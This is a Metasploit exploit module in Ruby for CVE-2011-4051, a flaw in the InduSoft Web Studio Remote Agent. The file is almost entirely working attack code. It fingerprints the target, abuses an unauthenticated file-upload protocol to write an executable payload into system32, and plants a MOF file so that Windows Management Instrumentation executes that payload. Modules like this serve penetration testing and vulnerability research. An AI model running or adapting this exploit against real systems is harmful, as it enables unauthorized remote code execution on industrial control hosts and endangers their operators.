##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::EXE
  include Msf::Exploit::WbemExec

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'InduSoft Web Studio Arbitrary Upload Remote Code Execution',
      'Description'    => %q{
          This module exploits a lack of authentication and authorization on the InduSoft
        Web Studio Remote Agent, that allows a remote attacker to write arbitrary files to
        the filesystem, by abusing the functions provided by the software.

        The module uses the Windows Management Instrumentation service to execute an
        arbitrary payload on vulnerable installations of InduSoft Web Studio on Windows pre
        Vista. It has been successfully tested on InduSoft Web Studio 6.1 SP6 over Windows
        XP SP3 and Windows 2003 SP2.
      },
      'Author'         =>
        [
          'Luigi Auriemma', # Vulnerability Discovery
          'juan vazquez' # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2011-4051' ],
          [ 'OSVDB', '77179' ],
          [ 'BID', '50675' ],
          [ 'ZDI', '11-330' ]
        ],
      'Privileged'     => true,
      'Payload'        =>
        {
          'BadChars' => "",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP / 2003', { } ],
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => '2011-11-04'))

    register_options([Opt::RPORT(4322)])
  end

  def check
    connect

    # Get Application version
    data = [0x14].pack("C")
    sock.put(data)
    app_info = sock.get_once
    disconnect

    if app_info =~ /InduSoft Web Studio v6\.1/
      return Exploit::CheckCode::Appears
    elsif app_info =~ /InduSoft Web Studio/
      return Exploit::CheckCode::Detected
    end

    return Exploit::CheckCode::Safe

  end

  def upload_file(filename, my_payload)
    connect

    # Get Application version
    data = [0x14].pack("C")
    sock.put(data)
    app_info = sock.get_once
    if app_info !~ /InduSoft Web Studio/
      print_error("#{@peer} - InduSoft Web Sutio hasn't been detected, trying to exploit anyway...")
    end

    # Get Operating System
    data = [0x13].pack("C")
    sock.put(data)
    os_info = sock.get_once
    if os_info !~ /WINXP/ and os_info !~ /WIN2K3/
      print_error("#{@peer} - Exploitation through Windows Management Instrumentation service only works on windows pre-vista system, trying to exploit anyway...")
    end

    # Upload file

    data = "\x02\x37" # Command => Select destination
    data << [my_payload.length].pack("V") # Data length
    data << "#{filename}" # File name to upload
    data << "\x09\x00\x30\x00\x00\x00"
    data << "\x10\x03" # End of packet

    # The data must be split on 1024 length chunks
    offset = 0 # Data to send
    count = 1 # Number of chunks sent
    groups = 0 # Data must be sent in groups of 50 chunks

    chunk = my_payload[offset, 1024]

    while not chunk.nil?

      # If there is a group of chunks, send it
      if count % 51 == 0

        data << "\x02\x2c" # Command => Send group of chunks
        my_count = [count].pack("V") # Number of chunks
        data << my_count.gsub(/\x10/, "\x10\x10")
        data << "\x10\x03" # End of packet

        sock.put(data)
        res = sock.get_once
        if res !~ /\x02\x06\x10\x03/
          return res
        end

        count = count + 1
        groups = groups + 1
        data = ""

      end

      pkt = [ 0x02, 0x2e ].pack("C*") # Command => Chunk Data
      my_count = [count].pack("V")
      pkt << my_count.gsub(/\x10/, "\x10\x10") # Chunk ID
      pkt << [chunk.length].pack("V").gsub(/\x10/, "\x10\x10") # Chunk Data length
      pkt << chunk.gsub(/\x10/, "\x10\x10") # Chunk Data
      pkt << "\x10\x03" # End of packet

      data << pkt
      offset = (count - groups) * 1024
      chunk = my_payload[offset, 1024]
      count = count + 1
    end

    pkt = [ 0x02, 0x03].pack("C*") # Command => End of File
    my_count = [count].pack("V")
    pkt << my_count.gsub(/\x10/, "\x10\x10") # Chunk ID
    pkt << rand_text_alpha(8) # LastWriteTime
    pkt << rand_text_alpha(8) # LastAccessTime
    pkt << rand_text_alpha(8) # CreationTime
    pkt << "\x20\x00\x00\x00" # FileAttributes => FILE_ATTRIBUTE_ARCHIVE (0x20)
    pkt << rand_text_alpha(1)
    pkt << "\x10\x03" # End of packet
    data << pkt

    sock.put(data)
    res = sock.get_once
    disconnect

    return res

  end

  def exploit

    @peer = "#{rhost}:#{rport}"

    exe = generate_payload_exe
    exe_name = rand_text_alpha(rand(10)+5) + '.exe'

    mof_name = rand_text_alpha(rand(10)+5) + '.mof'
    mof      = generate_mof(mof_name, exe_name)

    print_status("#{@peer} - Uploading the exe payload to C:\\WINDOWS\\system32\\#{exe_name}")
    res = upload_file("C:\\WINDOWS\\system32\\#{exe_name}", exe)
    if res =~ /\x02\x06\x10\x03/
      print_good "#{@peer} - The exe payload has been uploaded successfully"
    else
      print_error "#{@peer} - Error uploading the exe payload"
      return
    end

    print_status("#{@peer} - Uploading the mof file to c:\\WINDOWS\\system32\\wbem\\mof\\#{mof_name}")
    res = upload_file("c:\\WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)
    if res =~ /\x02\x06\x10\x03/
      print_good "#{@peer} - The mof file has been uploaded successfully"
    else
      print_error "#{@peer} - Error uploading the mof file"
      return
    end

  end
end
